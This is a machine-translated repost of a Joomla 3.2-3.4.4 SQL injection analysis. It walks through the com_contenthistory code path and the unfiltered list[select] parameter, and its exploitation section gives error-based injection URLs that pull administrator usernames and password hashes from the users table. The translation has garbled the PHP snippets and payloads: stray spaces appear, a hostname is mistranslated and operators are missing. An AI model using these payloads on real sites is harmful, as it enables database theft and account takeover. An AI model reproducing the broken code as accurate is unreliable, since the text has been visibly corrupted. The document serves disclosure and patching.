Joomla CMS 3.2-3.4.4 SQL Injection Vulnerability Analysis

Source: Internet
Author: User

Joomla CMS 3.2-3.4.4 SQL Injection Vulnerability Analysis

Yesterday, Joomla CMS released the new version 3.4.5, which fixes a high-risk SQL injection vulnerability. Versions 3.2 to 3.4.4 are affected. Attackers can exploit this vulnerability to directly obtain sensitive information in the database, or even obtain logged-on administrator sessions to directly access the website background.

0x01 Principle Analysis

In Joomla CMS, There is a component (com_contenthistory) that views the historical edited version. This function should be accessible only by administrators, but due to the negligence of developers, as a result, access to this function does not require the corresponding permissions. By accessing/index. php? Option = com_contenthistory allows the server to load the historical version processing component. The program flow will be transferred to the/components/com_contenthistory/contenthistory. php file:

<?phpdefined('_JEXEC') or die;     $lang = JFactory::getLanguage();$lang->load('com_contenthistory', JPATH_ADMINISTRATOR, null, false, true)||    $lang->load('com_contenthistory', JPATH_SITE, null, false, true);     require_once JPATH_COMPONENT_ADMINISTRATOR . '/contenthistory.php';

We can see that this component is not monitored for relevant permissions when loaded, while in Joomla, the general background call component (the component under/administrator/components) check the permissions of the components, such as the com_contact component in the background.

if (!JFactory::getUser()->authorise('core.manage', 'com_contact')){    return JError::raiseWarning(404, JText::_('JERROR_ALERTNOAUTHOR'));}

However, the program does not perform a permission check when processing the contenthistory component. After the program initializes and configures the component, the file/administrator/components/com_contenthistory/contenthistory is included. php with the following content:

<?phpdefined('_JEXEC') or die;     $controller = JControllerLegacy::getInstance('Contenthistory', array('base_path' => JPATH_COMPONENT_ADMINISTRATOR));$controller->execute(JFactory::getApplication()->input->get('task'));$controller->redirect();

The program initializes the control class JControllerLegacy Based on the contenthistory component, and then directly calls the execute () method of the control class. In the execute () method, the display () method in the control class is called (), the code is located in/libraries/legacy/controller/legacy. php:

Public function display ($ cachable = false, $ urlparams = array () {$ document = JFactory: getDocument (); $ viewType = $ document-> getType (); $ viewName = $ this-> input-> get ('view', $ this-> default_view); $ viewLayout = $ this-> input-> get ('layout ', 'default', 'string'); $ view = $ this-> getView ($ viewName, $ viewType ,'', array ('base _ path' => $ this-> basePath, 'layout '=> $ viewLayout); // Get/Create the model if ($ Model = $ this-> getModel ($ viewName) {// Push the model into the view (as default) $ view-> setModel ($ model, true );} (... omitted ...) if ($ cachable & $ viewType! = 'Feed' & $ conf-> get ('caching')> = 1 ){(... omitted ...)} else {$ view-> display ();} return $ this ;}

The handler obtains the view and layout parameter values from the passed parameters to initialize the view, and CALLS $ model = $ this-> getModel ($ viewName) to load the corresponding data model, the $ view-> display () function is called to process the view.

The SQL injection vulnerability fixed in Joomla version 3.4.5 involves viewing history, that is, the program processing at view = history will cause injection. When the program extracts data, it will enter the getListQuery () function in the/administrator/components/com_contenthistory/models/history. php file:

protected function getListQuery(){    // Create a new query object.    $db = $this->getDbo();    $query = $db->getQuery(true);         // Select the required fields from the table.    $query->select(        $this->getState(            'list.select',            'h.version_id, h.ucm_item_id, h.ucm_type_id, h.version_note, h.save_date, h.editor_user_id,' .            'h.character_count, h.sha1_hash, h.version_data, h.keep_forever'        )    )    ->from($db->quoteName('#__ucm_history') . ' AS h')    ->where($db->quoteName('h.ucm_item_id') . ' = ' . $this->getState('item_id'))    ->where($db->quoteName('h.ucm_type_id') . ' = ' . $this->getState('type_id'))         // Join over the users for the editor    ->select('uc.name AS editor')    ->join('LEFT', '#__users AS uc ON uc.id = h.editor_user_id');         // Add the list ordering clause.    $orderCol = $this->state->get('list.ordering');    $orderDirn = $this->state->get('list.direction');    $query->order($db->quoteName($orderCol) . $orderDirn);         return $query;}

Note the following SQL statement structure:

$query->select(    $this->getState(        'list.select',        'h.version_id, h.ucm_item_id, h.ucm_type_id, h.version_note, h.save_date, h.editor_user_id,' .        'h.character_count, h.sha1_hash, h.version_data, h.keep_forever'    ))->from($db->quoteName('#__ucm_history') . ' AS h')->where($db->quoteName('h.ucm_item_id') . ' = ' . $this->getState('item_id'))->where($db->quoteName('h.ucm_type_id') . ' = ' . $this->getState('type_id'))

The getState () function is used to obtain the model attributes and their corresponding values. Its function definition is in/ibraries/legacy/model/legacy. php:

public function getState($property = null, $default = null){    if (!$this->__state_set)    {        // Protected method to auto-populate the model state.        $this->populateState();             // Set the model state set flag to true.        $this->__state_set = true;    }         return $property === null ? $this->state : $this->state->get($property, $default);}

Then, the populateState () function is called to initialize the parameter values and extract and filter some parameters. In the contenthistory group, a populateState () function is defined as follows:

Protected function populateState ($ ordering = null, $ direction = null ){(... omitted ...) // List state information. parent: populateState ('H. save_date ', 'desc ');}

The function finally calls the populateState () function of the parent class. Because the data model inherits from JModelList, the code of the parent class is located in/libraries/legacy/model/list. php, and in the processing of the parent class this function will parse the list [] parameter passed in the request, parse and filter the default key value, but ignore the list [select]:

Protected function populateState ($ ordering = null, $ direction = null ){(... omitted ...) // Receive & set list options if ($ list = $ app-> getUserStateFromRequest ($ this-> context. '. list', 'LIST', array (), 'array') {foreach ($ list as $ name => $ value) {// Extra validations switch ($ name) {case 'fullordering ':(... omitted ...) case 'ordering ':(... omitted ...) case 'direction ':(... omitted ...) case 'limit ':(... omitted ...) default: $ value = $ value; break;} $ this-> setState ('list. '. $ name, $ value );}}(... omitted ...)

The value of the list [select] parameter will be parsed to list. select in the SQL statement building when the preceding component view is processed, resulting in injection.

0x02 vulnerability demonstration

Through the simple analysis above, we know that in the affected Joomla version, the access of the contenthistory component is not controlled by permissions, in addition, when a view = history request is made, the value of list [select] In the request parameters will be parsed and spliced into an SQL statement. The following describes how to verify and use the vulnerability.

1. Vulnerability Verification

Http: // maid/xampp/Joomla-3.4.4/index. php? Option = com_contenthistory & view = history & list [select] = 1

This is because the list is obtained during SQL statement concatenation. ordering is used to perform the order operation in data query. If it is not provided, it is set as data for processing by default. The related processing is located in/libraries/joomla/database/driver. in the quoteName () function of php.

Therefore, the server reports an error when accessing the URL constructed above:

2. Vulnerability Exploitation

During SQL statement concatenation, the program framework performs line breaks for each from or where operation. Therefore, the #, --, and other symbols cannot be used to comment out subsequent statements, data extraction can only be performed through error injection. However, the successful execution of a statement requires that the passed item_id and type_id values be valid in the database, and the list [ordering] parameter (with a null value) is passed ), in this way, the injection statement can be executed and an error is reported.

After tests on multiple vulnerability sites, you can use item_id = 1 & type_id = 1. for accuracy and validity, you can obtain the valid values of these two parameters through brute force, then perform the injection operation.

(Tips: # _ in the SQL statement constructed in Joomla will be replaced with the table prefix before execution)

The following shows how to obtain the hash of user names and passwords:

Http: // maid/xampp/Joomla-3.4.4/index. php? Option = com_contenthistory & view = history & item_id = 1 & type_id = 1 & list [ordering] & list [select] = (select 1 from (select count (), Concat (select username from % 23 _ users limit 0, 1), floor (rand (0)2) from information_schema.tables group by 2) x)

Http: // 172.16.96.130/xampp/Joomla-3.4.4/index. php? Option = com_contenthistory & view = history & item_id = 1 & type_id = 1 & list [ordering] & list [select] = (select 1 from (select count (), Concat (select password from % 23 _ users limit 0, 1), floor (rand (0)2) from information_schema.tables group by 2) x)

0x03 Solution Get the latest version from the https://github.com/joomla/joomla-cms/releases for Reinstallation; download the appropriate version of the patch from the https://github.com/joomla/joomla-cms/releases for updates;

0x04 Summary

Considering the number of Joomla CMS users, a large amount of site data is currently under threat. This vulnerability is essentially caused by the lack of access control and poor filtering. The lack of access control results in the ability of the contenthistory component that can only be accessed and loaded by the Administrator to be accessed and loaded by any user. The parameter filtering is not strict, attackers can construct malicious parameters to generate injection in the execution stream.

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.